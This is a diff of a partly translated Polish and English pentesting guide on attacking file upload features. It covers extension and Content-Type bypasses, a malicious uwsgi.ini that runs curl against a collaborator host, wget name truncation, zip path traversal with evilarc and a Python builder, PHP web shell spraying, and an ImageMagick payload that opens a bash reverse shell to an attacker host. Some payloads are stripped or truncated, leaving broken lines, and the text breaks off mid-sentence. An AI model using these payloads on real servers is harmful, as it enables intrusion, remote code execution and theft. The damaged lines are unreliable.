wykorzystania misconfigów Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php** będzie wykonywać kod): - _ex: file.php.png_ -7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":”. W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, np. używając jego krótkiej nazwy. Wzorzec "**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być przydatne do ominięcia dalszych ograniczeń (np. "file.asp::$data.”) -8. Spróbuj przekroczyć limity długości nazwy pliku. Prawidłowe rozszerzenie zostaje odcięte, a złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php +7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku zostanie wstawiony znak dwukropka ":" po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, takimi jak użycie jego short filename. Wzorzec "**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do obejścia dalszych restrykcji (np. "file.asp::$data.") +8. Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje obcięte. Zostaje złośliwe PHP. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Omijanie Content-Type, magic number, kompresji i zmiany rozmiaru +### Omijanie Content-Type, Magic Number, kompresji i zmiany rozmiaru -- Omijaj kontrole nagłówka **Content-Type** ustawiając wartość nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_ +- Omiń sprawdzenia Content-Type ustawiając wartość nagłówka Content-Type na: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Omijaj kontrolę **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zmylić polecenie _file_). Lub wprowadź shell wewnątrz **metadanych**:\ +- Omiń sprawdzenie **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zmyli to polecenie _file_). Albo wprowadź shell wewnątrz **metadanych**:\ `exiftool -Comment="' >> img.png` -- Jeśli do Twojego obrazu jest dodawana **kompresja**, na przykład przy użyciu bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), powyższe techniki mogą być nieskuteczne. Możesz jednak użyć **PLTE chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. +- Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład przy użyciu bibliotek PHP jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki mogą nie być skuteczne. Możesz jednak użyć **PLTE chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Strona może również **zmieniać rozmiar** obrazu, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. +- Strona może również **zmieniać rozmiar** obrazu, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, wykorzystuje funkcję PHP-GD `thumbnailImage`. Możesz także użyć **tEXt chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. +- Inna technika, aby stworzyć payload, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **tEXt chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Inne sztuczki do sprawdzenia - Znajdź podatność pozwalającą **zmienić nazwę** już przesłanego pliku (aby zmienić rozszerzenie). -- Znajdź podatność **Local File Inclusion** aby uruchomić backdoor. +- Znajdź **Local File Inclusion** umożliwiający wykonanie backdoora. - **Możliwe ujawnienie informacji**: -1. Prześlij **kilka razy** (i w **tym samym czasie**) **ten sam plik** o **tej samej nazwie** +1. Prześlij **wiele razy** (i w **tym samym czasie**) ten **sam plik** o **tej samej nazwie** 2. Prześlij plik o **nazwie** pliku lub folderu, który **już istnieje** -3. Przesłanie pliku o nazwie **"." , "..” lub "…”**. Na przykład w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu "/www/uploads/”, nazwa pliku "." utworzy plik o nazwie "uploads” w katalogu "/www/". -4. Prześlij plik, którego nie da się łatwo usunąć, taki jak **"…:.jpg”** w **NTFS**. (Windows) -5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w nazwie. (Windows) -6. Prześlij plik w **Windows** używając zastrzeżonych (**zabronionych**) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9. +3. Przesyłanie pliku o nazwie **".”, "..” lub "…”**. Na przykład w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu "/www/uploads/”, nazwa pliku "." utworzy plik o nazwie "uploads” w katalogu "/www/”. +4. Prześlij plik, który może być trudny do usunięcia, taki jak **"…:.jpg”** w **NTFS**. (Windows) +5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows) +6. Prześlij plik w **Windows** używając zarezerwowanych (zakazanych) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. - Spróbuj także **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzane), który **wykona kod** po przypadkowym otwarciu przez ofiarę. -### Specjalne triki z rozszerzeniami +### Specjalne sztuczki z rozszerzeniami -Jeśli próbujesz przesyłać pliki na serwer **PHP**, {take a look at the **.htaccess** trick to execute code}(https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Jeśli próbujesz przesyłać pliki na serwer **ASP**, {take a look at the **.config** trick to execute code}(../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Jeśli próbujesz przesyłać pliki na serwer **PHP**, [rzuć okiem na trik z **.htaccess** do wykonania kodu](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Jeśli próbujesz przesyłać pliki na serwer **ASP**, [rzuć okiem na trik z **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Pliki `.phar` są jak `.jar` dla Java, ale dla php, i mogą być **używane jak plik php** (wykonywane przez php, lub includowane w skrypcie...) +Pliki `.phar` są jak `.jar` dla java, ale dla php, i mogą być **używane jak plik php** (wykonywane przez php, lub dołączane do skryptu...) -Rozszerzenie `.inc` jest czasami używane dla plików php, które służą jedynie do **importu plików**, więc w pewnym momencie ktoś mógł pozwolić na **wykonywanie tego rozszerzenia**. +Rozszerzenie `.inc` jest czasem używane dla plików php, które służą tylko do **importowania** plików, więc w pewnym momencie ktoś mógł **pozwolić na wykonanie** tego rozszerzenia. ## **Jetty RCE** -If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak pokazano na poniższym obrazku, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a! +Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE ponieważ nowe \*.xml oraz \*.war są automatycznie przetwarzane](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Tak więc, jak pokazano na poniższym obrazku, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Aby dokładniej zbadać tę podatność sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. +Remote Command Execution (RCE) można wykorzystać na serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do wstawiania "magicznych" zmiennych, placeholderów i operatorów. Warto zwrócić uwagę na operator '@', używany jako `@(filename)`, który ma za zadanie dołączyć zawartość pliku. Wśród obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie silny, pozwalając na odczyt danych ze standardowego wyjścia procesu. Ta funkcjonalność może być zmanipulowana do celów złośliwych, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy plik konfiguracyjny `.ini` jest przetwarzany. -Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: +Rozważ następujący przykład złośliwego pliku `uwsgi.ini`, pokazujący różne schematy: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Wykonanie payload następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub w wyniku Denial of Service attack) lub plik musi mieć włączone auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian. +Wykonanie payload następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po awarii lub z powodu ataku Denial of Service) albo plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian. -Konieczne jest zrozumienie luźnego sposobu parsowania pliku konfiguracyjnego przez uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo rozszerza zakres możliwej eksploatacji. +Ważne jest zrozumienie luźnego sposobu parsowania plików konfiguracyjnych przez uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (np. obrazka lub PDF), co dodatkowo poszerza zakres potencjalnego wykorzystania. ## **wget File Upload/SSRF Trick** -W niektórych przypadkach możesz stwierdzić, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na whitelist, aby zapewnić, że pobrane zostaną tylko dozwolone pliki. Jednak **ten check można obejść.**\ -Maksymalna długość nazwy pliku w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz pobrać plik o nazwie "A"\*232+".php"+".gif" — ta nazwa ominie check (ponieważ w tym przykładzie **".gif"** jest dozwolonym rozszerzeniem), ale `wget` zmieni nazwę pliku na "A"\*232+".php". +W niektórych przypadkach możesz natrafić na serwer, który używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby upewnić się, że pobierane będą tylko dozwolone pliki. Jednak **to sprawdzenie można obejść.**\ +Maksymalna długość **nazwy pliku** w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz **download a file called "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **prawidłowym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, żeby **serwer HTTP przekierował do innego pliku**, więc początkowy URL ominie kontrolę, a następnie wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL**. +Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. ## Narzędzia -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, by wspomóc Pentesters i Bug Hunters w testowaniu mechanizmów uploadu plików. Wykorzystuje różne techniki bug bounty, upraszczając proces identyfikacji i wykorzystywania podatności, zapewniając gruntowną ocenę aplikacji webowych. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. -### Corrupting upload indices with snprintf quirks (historical) +### Uszkadzanie indeksów uploadu z powodu niuansów snprintf (historyczne) -Niektóre legacy upload handlery używające `snprintf()` lub podobnych do budowania tablic multi-file z pojedynczego uploadu mogą zostać oszukane tak, by sfałszować strukturę `_FILES`. Z powodu niespójności i obcinania w zachowaniu `snprintf()`, starannie przygotowany pojedynczy upload może wyglądać po stronie serwera jak wiele plików z indeksami, co wprowadza w błąd logikę zakładającą sztywną strukturę (np. traktując to jako multi-file upload i wybierając niebezpieczne ścieżki). Choć dziś niszowe, ten wzorzec „index corruption” czasem powraca w CTFs i starszych kodach. +Niektóre przestarzałe mechanizmy obsługi przesyłania plików, które używają `snprintf()` lub podobnych funkcji do budowania tablic wieloplikiowych z pojedynczego uploadu, mogą zostać oszukane do sfałszowania struktury `_FILES`. Z powodu niespójności i obcinania w zachowaniu `snprintf()`, starannie spreparowany pojedynczy upload może na serwerze wyglądać jak kilka indeksowanych plików, co myli logikę zakładającą określony kształt (np. traktując to jako multi-file upload i wybierając niebezpieczne gałęzie). Choć dziś jest to niszowe, wzorzec ten — “index corruption” — od czasu do czasu pojawia się w CTFach i starszych bazach kodu. -## Od uploadu pliku do innych podatności +## From File upload to other vulnerabilities - Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **path traversal** -- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz osiągnąć **SQL injection** -- Ustaw **filename** na ``, aby osiągnąć **XSS** -- Ustaw **filename** na `; sleep 10;`, aby przetestować pewne command injection (more [command injections tricks here](../command-injection.md)) +- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz uzyskać **SQL injection** +- Ustaw **filename** na ``, aby wywołać **XSS** +- Ustaw **filename** na `; sleep 10;`, aby przetestować command injection (więcej [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Wypróbuj **różne svg payloady** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- Wypróbuj **different svg payloads** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Jeśli możesz **zlecić serwerowi pobranie obrazu z URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** zostanie **zapisany** w jakimś **publicznym** miejscu, możesz też podać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**. +- Jeśli możesz **wskazać serwerowi web, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **image** ma zostać **saved** w jakimś **public** serwisie, możesz też wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **steal information of every visitor**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Specjalnie spreparowane PDFy do XSS: Strona [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz uploadować PDFy, możesz przygotować taki PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami. -- Wyślij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) aby sprawdzić, czy serwer ma jakiś **antivirus** -- Sprawdź, czy istnieje jakiś **limit rozmiaru** przy uploadzie plików +- Specjalnie spreparowane PDFy prowadzące do XSS: Strona w linku opisuje jak **inject PDF data to obtain JS execution**: [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz uploadować PDFy, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami. +- Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) aby sprawdzić, czy serwer ma jakiś **antivirus** +- Sprawdź, czy istnieje jakiś **size limit** podczas przesyłania plików -Oto lista top 10 rzeczy, które możesz osiągnąć przez upload (źródło: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -197,46 +197,46 @@ Oto lista top 10 rzeczy, które możesz osiągnąć przez upload (źródło: [he 9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Rozszerzenie Burp +#### Burp Extension {{#ref}} https://github.com/portswigger/upload-scanner {{#endref}} -## Magiczne bajty nagłówka +## Magic Header Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Zobacz [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) dla innych typów plików. +Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. -## Automatyczne rozpakowywanie ZIP/TAR po uploadzie +## Zip/Tar File Automatically decompressed Upload -Jeśli możesz przesłać ZIP, który będzie rozpakowany na serwerze, możesz zrobić dwie rzeczy: +If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: ### Symlink -Wyślij archiwum zawierające dowiązania symboliczne do innych plików, a następnie, uzyskując dostęp do rozpakowanych plików, otrzymasz dostęp do wskazanych plików: +Prześlij archiwum zawierające linki symboliczne do innych plików, a następnie, uzyskując dostęp do rozpakowanych plików, uzyskasz dostęp do plików, do których wskazują linki: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Rozpakowywanie do różnych folderów +### Dekompresja do różnych folderów -Nieoczekiwane tworzenie plików w katalogach podczas dekompresji stanowi poważny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe file uploads, obsługa hierarchicznej kompresji i możliwości directory traversal formatu ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z bezpiecznych upload directories przez manipulację funkcją dekompresji aplikacji docelowej. +Niespodziewane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Pomimo początkowego założenia, że takie rozwiązanie może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, obsługa hierarchicznej kompresji i możliwości directory traversal formatu archiwów ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z bezpiecznych katalogów przesyłania plików poprzez manipulowanie funkcjonalnością dekompresji zaatakowanej aplikacji. -Zautomatyzowany exploit umożliwiający utworzenie takich plików jest dostępny pod [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć jak pokazano: +Zautomatyzowany exploit do tworzenia takich plików jest dostępny pod [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Dodatkowo, **symlink trick with evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. To zapewnia, że evilarc nie napotka błędów podczas działania. +Dodatkowo istnieje opcja **symlink trick with evilarc**. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w systemie. To zapewnia, że evilarc nie napotka błędów podczas działania. -Poniżej znajduje się przykład kodu Python użytego do stworzenia złośliwego pliku zip: +Poniżej znajduje się przykład kodu w Pythonie używanego do stworzenia złośliwego pliku zip: ```python #!/usr/bin/python import zipfile @@ -254,11 +254,11 @@ zip.close() create_zip() ``` -**Wykorzystywanie kompresji do file spraying** +**Wykorzystywanie kompresji do file sprayingu** Po więcej szczegółów **sprawdź oryginalny wpis na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: Kod PHP zapisany jest tak, aby wykonywał polecenia przekazywane przez zmienną `$_REQUEST`. +1. **Creating a PHP Shell**: Kod PHP jest zapisany tak, aby wykonywać polecenia przekazane przez zmienną `$_REQUEST`. ```php ``` -2. **File Spraying and Compressed File Creation**: Utworzono wiele plików, a następnie złożono archiwum zip zawierające te pliki. +2. **File Spraying and Compressed File Creation**: Tworzonych jest wiele plików, a następnie składane jest archiwum zip zawierające te pliki. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zastępując "xxA" przez "../", aby przejść do katalogów wyżej. +3. **Modification with a Hex Editor or vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora heksadecymalnego, zamieniając "xxA" na "../", aby przemieszczać się po katalogach. ```bash :set modifiable @@ -292,33 +292,33 @@ viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Osadzanie PHP shell w PNG +## Osadzanie PHP Shell w PNG -Osadzenie PHP shell w chunku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP shell pozostaje niezmieniony przez te operacje, stanowi istotną przewagę w niektórych przypadkach użycia. +Osadzenie PHP shell w chunku IDAT pliku PNG może skutecznie ominąć niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są tu szczególnie istotne, ponieważ powszechnie używa się ich odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP shell pozostanie nienaruszony przez te operacje, stanowi istotną zaletę w niektórych przypadkach użycia. -Szczegółowe omówienie tej techniki, w tym metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten materiał oferuje kompleksowe zrozumienie procesu i jego implikacji. +Dokładne omówienie tej techniki, łącznie z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Zasób ten oferuje kompleksowe zrozumienie procesu i jego implikacji. More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Pliki polyglot +## Pliki polyglotowe -Pliki polyglot działają jak kameleony — mogą jednocześnie poprawnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS lub PPT i JS. +Pliki polyglotowe pełnią unikalną rolę w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie być poprawne w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS lub PPT i JS. -Główna użyteczność polyglotów polega na ich zdolności do obchodzenia zabezpieczeń, które filtrują pliki na podstawie typu. W praktyce wiele aplikacji dopuszcza do uploadu tylko określone typy plików — np. JPEG, GIF czy DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP, czy Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów jednocześnie, może cicho ominąć te ograniczenia. +Główną użytecznością plików polyglotowych jest ich zdolność do obchodzenia mechanizmów bezpieczeństwa, które filtrują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do uploadu — np. JPEG, GIF lub DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP lub Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów, może cicho ominąć te ograniczenia. -Mimo swojej wszechstronności polygloty napotykają ograniczenia. Na przykład, chociaż polyglot może jednocześnie być PHAR i JPEG, powodzenie uploadu może zależeć od polityki rozszerzeń na platformie. Jeśli system jest rygorystyczny co do dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć do umożliwienia uploadu. +Pomimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, chociaż polyglot może jednocześnie pełnić rolę pliku PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki platformy dotyczącej rozszerzeń plików. Jeśli system jest restrykcyjny co do dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć, by zagwarantować jego przesłanie. More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Wgrywanie prawidłowych plików JSON, tak jakby to był PDF +### Wgrywanie poprawnych JSON-ów tak jakby to był PDF -Jak uniknąć wykrywania typu pliku, wgrywając prawidłowy plik JSON nawet jeśli nie jest dozwolony, podszywając go pod PDF (techniki z **[this blog 